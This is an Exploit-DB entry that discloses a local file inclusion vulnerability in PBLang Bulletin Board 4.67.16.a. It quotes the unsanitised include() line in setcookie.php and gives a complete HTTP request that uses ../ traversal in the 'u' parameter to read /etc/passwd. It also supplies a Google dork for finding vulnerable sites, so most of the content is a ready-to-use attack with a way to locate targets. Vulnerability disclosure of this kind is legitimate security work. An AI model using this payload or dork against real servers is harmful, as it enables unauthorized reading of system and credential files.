PBLang Bulletin Board System - Local File Inclusion

EDB-ID:

18590


Author:

Number 7

Type:

webapps


Platform:

PHP

Date:

2012-03-13


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|| \\     || ||       || | |\\        //| | |     \   |  ______|         |_______/ /
||  \\    || ||       || | | \\      // | | |  _   \  | |                       / /
||   \\   || ||       || | |  \\    //  | | | |_)  |  | |______    /\`'__\     / /
||    \\  || ||       || | |   \\  //   | | |  _  <   |  ______|   \ \ \/     / /
||     \\ || ||_______|| | |    \\//    | | | |_)  |  | |______     \ \_\    / /
||      \\|| |_________| |_|            |_| |_____/   |________|     \/_/   /_/
______________________________________________________________________________________
# Exploit Title:  [PBLang local file include vulnerability]
# Google Dork:    ["Software PBLang 4.67.16.a"]
# Date:           [12/03/2012]
# Author:         ~Pseudo:  [Number 7];
                  ~ Twitter:[@TunisianSeven];
                  ~ Blog:   [http://tunisianseven.blogspot.com/]
# Software Link:  [http://garr.dl.sourceforge.net/project/pblang/Full%20versions/PBLang%204.67.16.a%20no%20graphics/PBLang-4.67.16.a-nographics.zip]
# Version:        [4.67.16.a]
# Tested on:      [wINDOWS,Linux]
______________________________________________________________________________________
Proof of concept:
In setcookie.php
include($dbpath."/members/".$u);

In order to successfully perform this attack the attacker must have
the full path where the files are uploaded, and it is easy to get
making a request like this:

GET http://localhost/path/setcookie.php?u=../../../../../etc/passwd HTTP/1.1
Cookie: eXtplorer=eRlQPZSWiGt2zRpFlXr6qCgja6DiLumU
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

For requests like this i use acunetix :D
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